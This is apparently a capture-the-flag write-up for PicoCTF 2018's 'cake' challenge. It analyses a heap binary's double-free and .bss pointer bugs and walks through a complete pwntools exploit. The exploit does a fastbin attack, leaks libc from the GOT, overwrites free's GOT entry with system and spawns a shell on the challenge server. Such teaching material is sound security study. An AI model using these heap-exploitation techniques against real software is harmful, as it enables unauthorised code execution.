Challenge: cake libc
Reversing
$ file ./cake
cake: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5422c9f23d49487ec57700c323eb018293dd4f9c, not stripped
$ checksec ./cake
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
Well a pwn challenge with PIE disabled, we don’t see that often (but yay!). And RELRO is not there also, meaning we can do GOT overwrite to get shell.
Challenge binary provides five options
M - Allows us to Make (allocate) a cake
structure where we can specify name
of max 8 bytes and price
for that cake
.
W - If you want to wait for more customers to come this is the option. Does not make much sense now but quite useful. (explained later)
S - Allows us to Serve the customer our cake based on its index
value. Basically freeing the cake
structure.
I - Inspecting the cake will print its contents (name
and price
) on stdout.
C - Finally if you are tired, you can close the shop and return
from the main
function.
Now we know the basic functionality of the binary. Lets see how all the chunks are actually laid out in memory.
To do that I made a dummy cake
with name
“AAAA” and price
16. When I check this in gdb, it looks something like below (heap addresses may seem different because its from my local VM).
0x564904bd0010: 0x0000000000000000 0x0000000000000021
0x564904bd0020: 0x0000000000000010 0x0000000041414141
0x564904bd0030: 0x0000000000000000 0x0000000000020fd1
0x564904bd0040: 0x0000000000000000 0x0000000000000000
Here we see that *cake
points to its price
and *cake + 0x8
points to its name
.
If we look at IDA we find that the counter
to number of customer at the shop, is stored in .bss segment. Whenever we call Wait
for customer or even do any operation for that matter, counter
gets increased randomly by either 0, 1 or 2, cool.
There is also a shop
variable on .bss which keeps track of all the available cake
s and binary access all the cake
structures referencing from this. All the pointer of cake
s reside on .bss that are access relatively from address of shop
by challenge binary.
Thats enough of the working of binary. Lets discover bugs and exploit them (believe me there are some interesting bugs).
Bug Hunting
There are mainly three bugs/features that I used for my exploit.
-
As we know that we can
serve
(free) cakes to customers based on their index. Here lies our first bug. Binary doesnt check if a cake is already served or not. It just checks whether providedindex
is less than or equal to total number ofcake
s created and max number of cakes should be less than 16. (allows us to do fastbin attack) -
counter
can be used to created fakesize
of heap chunk which can be used to return address on .bss from malloc. -
There is a subtle bug in
make
function. If you look carefully at the IDA code snippet below. If we can somehow overwrite value at*(&shop->sold + i + 2LL)
in betweenname
overwrite andprice
overwrite, we can get arbitrary write. Confused? It should get more clearer in exploitation section :)
void __fastcall make(s_shop *shop)
{
...
printf("Made cake %d.\nName> ", (unsigned int)i);
fgets_eat((char *)(*(&shop->sold + i + 2LL) + 8), 8);
printf("Price> ");
v1 = (__int64 *)*(&shop->sold + i + 2LL);
*v1 = get();
...
}
Exploitation
So here I will explain my exploit script in pieces because I find this approach more easy to explain how exploitation works and it also connects techniques specified in write up with exploitation script at the same time.
from pwn import *
import re,sys
def make(name, price):
r.sendlineafter("> ", "M")
r.sendlineafter("Name> ", name)
r.sendlineafter("Price> ", str(price))
def wait_c():
r.sendlineafter("> ", "W")
def serve(index):
r.sendlineafter("> ", "S")
r.sendlineafter("> ", str(index))
def inspect(index):
r.sendlineafter("> ", "I")
r.sendlineafter("> ", str(index))
libc = ELF('./libc.so.6')
#r = process(['./ubuntu-xenial-amd64-libc6-ld-2.23.so', './cake'], env={"LD_PRELOAD":"./libc.so.6"})
r = remote("2018shell1.picoctf.com", 42542)
So here I created some functions to make my life a little easier while interacting with the process, nothing fancy.
#################
make("daaa", 0x656565) #0
make("eaaa", 0x656565) #1
make("AAAA"*10, 10) #2
make("BBBB"*10, 10) #3
#gdb.attach(r)
serve(0)
serve(1)
serve(0)
In above code I have double-freed
0th cake
which causes price of 0th cake
to convert into a heap address. As this is fastbin, it will be pointing to next chunk in free list meaning 1th cake
. This you can see in the heap dump below.
0x5622d06c0010: 0x0000000000000000 0x0000000000000021
0x5622d06c0020: 0x00005622d06c0030 0x0000000061616164
0x5622d06c0030: 0x0000000000000000 0x0000000000000021
0x5622d06c0040: 0x00005622d06c0010 0x0000000061616165
0x5622d06c0050: 0x0000000000000000 0x0000000000000021
0x5622d06c0060: 0x000000000000000a 0x0041414141414141
0x5622d06c0070: 0x0000000000000000 0x0000000000000021
0x5622d06c0080: 0x000000000000000a 0x0042424242424242
0x5622d06c0090: 0x0000000000000000 0x0000000000020f71
#leak heap
inspect(0)
r.recvuntil("for $")
heap_addr = int(r.recvline().strip(), 10)
log.info("heap: 0x{:x}".format(heap_addr))
Now I can just print the price of 0th cake
to leak heap address. Actually heap leak is never getting used in exploit ahead but while solving challenges I just leak everything I can ;P
#############
#wait for customers to be 0x21
while True:
rd = r.recvuntil("waiting.")
got = re.findall(ur'and have (.+?) customers waiting', rd)[0]
if int(got) < 0x21:
log.info(got)
wait_c()
#r.interactive()
elif int(got) == 0x21:
break
else:
sys.exit()
#############
make("aaaa", 0x6030E0) #4 # (&shop->sold + 0 + 2LL) - 0x10 == 0x6030E0
#gdb.attach(r)
make("bbbb", u64('/bin/sh\x00')) #5 # I free this chunk at the end to pop shell!
make("aaaa", 0x31313131) #6
make(p64(0x21), 0x603088) #7
inspect(0)
libc_base = u64(r.recv(6) + "\x00"*2) - 0x3af60
log.info("libc base: 0x{:x}".format(libc_base))
In above code I am setting the counter
value to be 0x21
so that we can do a fastbin-attack
to change a cake
pointer on .bss to GOT address. That will allow us to leak the address of GOT function’s address and effectively leaking libc_base
. After enough wait
ing I start doing a typical fastbin-attack
. As in previous code I had freed 0th cake
twice, first I change the 0th cakes
free-list pointer to address of first cake
pointer on .bss - 0x10. So that on fourth malloc call I can change the first cake
pointer to 0x603088
(exit’s got address). Now we can inspect
0th cake
to leak libc_base
, cool!
Here I have put a 0x21
in the name
of newly allocated cake chunk on .bss . I did that so that I dont need to make counter
0x21
repeatedly.
I have also specified /bin/sh\x00
, not important right now but you know where I will use it at the end ;)
After doing the libc leak our .bss looks like below.
0x6030e0: 0x0000000000cacaca 0x0000000000000022
0x6030f0: 0x0000000000603088 0x0000000000000021
0x603100: 0x0000564b5116f060 0x0000564b5116f080
0x603110: 0x0000564b5116f020 0x0000564b5116f040
0x603120: 0x0000564b5116f020 0x00000000006030f0
#############
#gdb.attach(r)
serve(3)
serve(4)
serve(3)
make("aaaa", 0x6030f0) #8 #customer number -0x8
make("bbbb", 0x6030f8) #9
make("aaaa", 0x31313131) #10
#gdb.attach(r)
make(p64(0x6030f0), 0x21) #11
In the code above I am doing another fastbin-attack
and this time it is to create another 0x21
in the .bss just after our previous 0x21
. This is done because I want to exploit our third-bug
. It will get more clear in next part of the exploit.
For now below is the .bss dump after all the actions above.
0x6030e0: 0x0000556ae9d4fc25 0x0000000000000022
0x6030f0: 0x0000000000603088 0x0000000000000021
0x603100: 0x0000000000000021 0x00000000006030f0
0x603110: 0x0000556ab7d90020 0x0000556ab7d90040
0x603120: 0x0000556ab7d90020 0x00000000006030f0
0x603130: 0x0000556ab7d90080 0x0000556ab7d90020
0x603140: 0x0000556ab7d90080 0x0000000000603100
#############
serve(9)
serve(10)
serve(9)
serve(10)
#############
make("aaaa", 0x6030f8) #customer number -0x8
make("bbbb", 0x6030f0)
make("aaaa", 0x31313131)
make(p64(0x0), 0x0)
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
make(p64(0x603018), system_addr)
###################
r.interactive()
I again create a scenario for fastbin-attack
but if you notice I have double freed two chunks. Meaning in the fourth malloc and fifth malloc, I will be allocating and overwriting free chunks specified in first and second allocations.
First I allocate 0x6030f8
, overwrite it at 0x603108
with Null
s. Hmm why did I need to do that. Well when a cake
gets allocated, an iterator runs through this array of cake
pointers on .bss segment. When iterator finds a Null
pointer, cake
is allocated and the address of that cake
is stored here.
After that I filled 0x603108
with Null
s, address of next allocation of cake
will be stored at 0x603108
. Down is the dump till this point.
0x6030e0: 0x000100bb5e33bebe 0x0000000000000021
0x6030f0: 0x0000000000603088 0x0000000000000021
0x603100: 0x0000000000000021 0x0000000000000000
0x603110: 0x0000000000000000 0x00005593a8e22040
0x603120: 0x00005593a8e22020 0x00000000006030f0
0x603130: 0x00005593a8e22080 0x00005593a8e22020
0x603140: 0x00005593a8e22080 0x0000000000603100
0x603150: 0x00005593a8e22080 0x00005593a8e22020
0x603160: 0x00005593a8e22080 0x0000000000603108
Now when I make
another cake
it allocates 0x6030f0
chunk and which will have data part at 0x603100
. Address of this chunk will be stored at 0x603108
which resides inside the allocated chunk for this cake. Now I set the name value to p64(0x603018)
. This will cause value of cake
pointer to point to 0x603018
(GOT of free function). Now when price
gets written, make
function fetches the cake
pointer again which is pointing to free_got
now. And free_got
will be overwritten with price
value (address of system function).
Now If we free the cake
with string /bin/sh\x00
that I created above, a shell gets popped!
The whole script can be found here
I found this challenge quite interesting because it took me quite some time to find the bug/feature in make
function to get arbitrary write.
In overall PicoCTF was a fun experience. I finished #6 but I could not solve two challenges and that was frustrating :D